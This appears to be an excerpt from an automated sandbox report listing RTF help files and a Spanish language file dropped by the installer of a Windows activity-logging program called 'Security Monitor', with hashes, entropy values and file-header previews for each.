SHA-256:	508DC3EFA99E34F0865225A43C9D2554169D4D9C9D1CE5C1CA4FEB41958DE1B5
SHA-512:	C8FCF769BA2F155F8BAF4A9BF3E5D93377191EE7C02BCF5ED9E8158C10BC82B1AB344B9788D1FE81A73C18B0E2E10F0DD69C2C2400216878FA34EEDAAA824709
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48100
Entropy (8bit):	5.025830167724142
Encrypted:	false
SSDEEP:	768:q4Fknx1eiCUYCmpNM2UrPGsGx7TYlDIUldgOQrrFrf7IPWj2sqiHTLb3ybVaGMbQ:q4giYIA9b
MD5:	89ED020D20DA91E6E1F6AF7A3A4C3ED8
SHA1:	B387B9E8EE99429E41090937A41D60564CA50A5A
SHA-256:	29857E5F65A83CB250D7374A4AAFBCC1159C4318942F5044C9C12534A1962B41
SHA-512:	1CBFA048F043D784062288EC39E5A89F74EF418CE6FBA1C2FFA32555B993C446CAC8ADB63B05D2E60FF3DB65735E55664C954D84AC4F21DDB94542BFE536F6BF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48379
Entropy (8bit):	4.996608771533116
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLV9xB3T7JileOhvbNbZWvsn53NB0DNZGky8OF5x1A58GaQg:q49OUnIIA9p
MD5:	B8EA7A3C55CE02A64BA0AF23B9B85E3E
SHA1:	8DFFB3874BBD2EA54BE1E6D87356126B1E73F290
SHA-256:	792111EFE4C09E3F68D0E2A5344ACC12D63B351BAE5F1654FCC36F2471ED7667
SHA-512:	A8A46F16EC9F8CE3670B171DD90F84F9D1F6CD15FC0428E3DB95ADB4AE302D0A82FF837A9C1DD32EAEEB7D8A58F942DB79461FB5BA36C869CBF4EA7210747007
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48785
Entropy (8bit):	5.035435060271824
Encrypted:	false
SSDEEP:	768:qqFy4a4jeDCcJ+Lj5g5V5V5h5G5P5N5hBcqtqYepnRbK3j10C0O0N0e0x0b0o0g4:qqJ9CxIA92
MD5:	DC2C7249084FEEBFE9F1E4FB3491C9EA
SHA1:	B1F39695D01244B8D85F9FE40D24B809759DB0FA
SHA-256:	D5EE096B03118AA2E7032A80EAD45F1C1D180889E5C0D9140F5C7D999698EFBD
SHA-512:	6B83FF30438154C6D58F7BA35FB6D01DA65D3B696340B522653DB3AEAD830DF67CEF61B1729197E24E8A160558418CBF639E5F31D6D2E990527C1920376FCE0B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42713
Entropy (8bit):	5.047774415882159
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epbPybO9FO0I0cmG8/FRaZHIZ/6A95:qq4ePXIA95
MD5:	FC56B09D7F10AE95E575F472B2CE9AB8
SHA1:	806D290A16EE633A1D79B8D916FE00D508ECD51D
SHA-256:	75B89487ADE95BD0450DA43B8978AB7E37AD22CAA7DEDCB9D599EEA0EE0E8A04
SHA-512:	7B0948BCE8EE5AC36E7C91D3405F041973B6F9A6D316E64454E9E6A3B2A316CF65C03D1CE7041B9DD5FBEA3F94F175138735336D71CA927FB68D66D92413CC2C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44589
Entropy (8bit):	5.042107887527953
Encrypted:	false
SSDEEP:	768:qqXqx1fDCcJJrNgVVhGPNhHwGNjm+epnBBbq1FkSkek9kukBkrkSkP9MkSI6Ioum:qq4ABXIA9N
MD5:	A408ECED60101314102C175C7FE3E9D7
SHA1:	EBD937ECBFE7FDCC84DF27E7AEED4AC53FAA488A
SHA-256:	2649AAF142678E0D5B5DBEEC454E5D04DD191CE636F6EC5231A7A633C754252C
SHA-512:	B5E5B24DAF9BB0EC263E37AB11B1A66F50C3C4742F3EDB674AEF6FCA8B1F1C566D2F5CF59C9CA95779C9D055CC58B80770B9374EE605D110312F0C6E761E0BA0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panos

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43030
Entropy (8bit):	5.037181036721856
Encrypted:	false
SSDEEP:	768:qqel4jeXCpMF2njX8x3JLjwUtqYepjRBcnjX8x3TRbyqfVHVU3icdXPIZnZ/6A9C:qq3pDIA9C
MD5:	67B098FD7DC727E81D9D9FB9A520E1CE
SHA1:	F6D0526FD0E5F10956988840D866DD2222ABF783
SHA-256:	C3AF56E516BBA805D97730CC1303C32539C72A4E93F598F599EE4DE1756AB0BF
SHA-512:	65718F4601D9636CE73B3B5D2E5EDC62B34DAE818C7450033BEC2221916E8AC81316D6EB3F3690186E3A505F82192A4C1EE34D12606690B3B266A2BEDE2F7DEA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19915
Entropy (8bit):	4.91205436276521
Encrypted:	false
SSDEEP:	384:URE/HLpJKNLC8/c0vrhUhdpZ/i7fTfHV8Vpx+M26iYi/pVF8g2EM2luoEJroH:Ue4L5c0dffTfHV8Vpx126PGcIMoH
MD5:	86FB78830003953DE6F23C5978938899
SHA1:	CD181B6DD4049697DD2E824DCABB57D9B21CCE0A
SHA-256:	0E132271314F42D37505EA9844E8EE102B9A0FC65946852BE8150CD088BB8357
SHA-512:	8862242298848BF0096B63F5F0FDDC70C446239910DD16F7B5AB604414CB6D10DFB636A7BC7AD1D66F33B6D88DCC08EE95F0B0B04E686E74E68FFBF9EC70C47A
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart=" Empec."..tbStartHint="Habilite el registro"..tbStop="Det.ngase"..tbStopHint="Desactive el registro"..tbFind="Encuentre"..tbFindHint="Busque la informaci.n del registro"..tbSetting="Ajustes"..tbSettingHint="Ajustes del programa"..tbAbout="Acerca de"..tbAboutHint="Acerca de / informaci.n de registro"..tbHomePage="P.gina Principal"..tbHomePageHint="Ir a la P.gina Principal del programa"..tbToday="Hoy"..tbTodayHint="Ir al registro de hoy"..tbHide="Oculte"..tbHideHint="El modo invisible (ninguno icono en la bandeja del sistema)"..tbMinimize="Minimice"..tbMinimizeHint="Minimizar a la bandeja"..tbExit="Salir"..tbExitHint="Salir y parada del registro"..gbLog="Registro de eventos"..tCurrLogSize="Tama.o del registro (Mb)"..tCu

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45050
Entropy (8bit):	5.040256574487364
Encrypted:	false
SSDEEP:	768:VkGN4JtHiBkyKWm+m2NjrOX/zJnKujtCUcFsWjeQ2CzLZ7RntKuG5QZ2y3OE50sq:VkNk4TF
MD5:	94F6C834BB72118F52C6E4AFA65342BF
SHA1:	5066CA137EA8AE0F1CFDB50D364C0A85BF31B98D
SHA-256:	E950C0B4282DDB4BBBCA54BB72CB789B117690E1EFA15D7BE6C59BE5D77A65EA
SHA-512:	80147E578792B71F77E06659978C233E4BE7AB1352B056DEC3BCA74A0E5F5A6386983B5935467BDDA4DDF34CD64304843903A85DAC3C813DCF49457810E670E2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37942
Entropy (8bit):	5.034259997396652
Encrypted:	false
SSDEEP:	768:VkGN4Jt0TaGC5X2kLuuXprzghApkH9bEJzKv3TFeq4T5:VkHwd4T5
MD5:	A4F051708B7CC7EC3B58CB0A01A56DAA
SHA1:	4C4D011C0EFC5497763698DD21BE21D61553EE51
SHA-256:	E5AC50A87DD55807C9FC5BDF12C6317581F50456A9D99EF92794F5C089748F6E
SHA-512:	EFEF770ED92BB6F5D76AB7613ADF47ADF264CBBBFB741D7514A9424D77055CA01DCD1462DAFA2A8CF9E9FAF36931F78865430FE62F30DC77A9F18E0A28C8EC37
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37309
Entropy (8bit):	5.035450399129397
Encrypted:	false
SSDEEP:	768:VkGN4JtOiBkyKWm+XcOl66fSndrdyzotzrcq4Ta:VkHHu4Ta
MD5:	C121D028E5250297A8B932011A8122F9
SHA1:	6E9E2CAE5D2200213EA2378E2F02E4237F0EA7F1
SHA-256:	8246FF97F5D8EA82D7D9C00EC53309DC207026DD6B406B7B77E873563AB424DF
SHA-512:	F93C9D589271DA049E037F0491E9B34CA1574113F488DDF302370BB1BC4CE55985A27A294B37A50100BEA4C9E209B5C6D8020843BD404B571B99E112E6F1CB3D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36554
Entropy (8bit):	5.033242301326159
Encrypted:	false
SSDEEP:	768:w4FkNxjETicPI0QhhiLVUO9HZYSEWsIZ/6A9V:w4G3UntIA9V
MD5:	60CFC0AB1C3A23B456BDEB0DD8010A83
SHA1:	E2EB5D85ECC146BA756BB812247090D421D8F906
SHA-256:	FB9A493F603C0027F6782538022DA6D82577FC0CE69146E66076EF94440B7D18
SHA-512:	80ABA72B39079A7B4378C0B106CBB0098AE94BEAC586DC34BE10F5CE2D7F0193B20A215F0D98D08A709F934CB1AC05FCE6B15270D3E855F01BD9C814D95AA4AB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78220
Entropy (8bit):	4.998804403921912
Encrypted:	false
SSDEEP:	1536:w4NORVKcNG59+ppOBpvKeGpWONtetjIC1uCLCCiOBG/60Oc5IRcofyW26IA9w:w2GVFU59+/O3vKeO+5G
MD5:	284D049932C02AFE360E12F1ACBBEB89
SHA1:	F5D588FE773BF163D5FE123B38FCAF70AF53F786
SHA-256:	9AD1BA3EF54FEA19A88AAABBAF13DBD8C798DA68B989F4E321594E54A5DB2AF6
SHA-512:	AF4E3F43E6A258E8E45A2983A2DC1CE29190163B2DCDE25DC4AB3BFF4F1FC6E07E14BB4023FC5A7F7C008463BD1F8D7ADCB12D1FDAFD6503B41E94D2E98D74F8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-2FVV0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	41999
Entropy (8bit):	5.055697465978919
Encrypted:	false
SSDEEP:	768:VkmzS4JUAauTJcOerjj1oKauIKx49kWYcFBxBMdk+tkakaLMvIghQq4TP:Vku11S7u4TP
MD5:	38D9C60C2583CC6714A0F317F3FD24AD
SHA1:	06F40D2DD9A933E7073FD6B57475B879582B99D2
SHA-256:	4825CB084B4CBE44982E0B965CCE2025C23D43CC3DDB6B4389F811C07A5EE872
SHA-512:	C2397F026AF1AEFBE283F59D8188CB17C4BB43F6F228FFBF07A167DFC636D6D7504FC1BF69F53451C361FCD02646B9E96C2A6BE0FD3B12A58B9E42D8A729FB4D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset0\fprq2 Arial CYR;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f3150

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-4IGJS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	42355
Entropy (8bit):	5.0527900529716705
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmV4JAF/WMvgDNHkAwd6Lkygbq4TF:VklnIV4J34TF
MD5:	6E4790A124B7FF2124F2D64A1F5935AE
SHA1:	809C008765ADDE1CFF719DF84F5D1A6972C9D15A
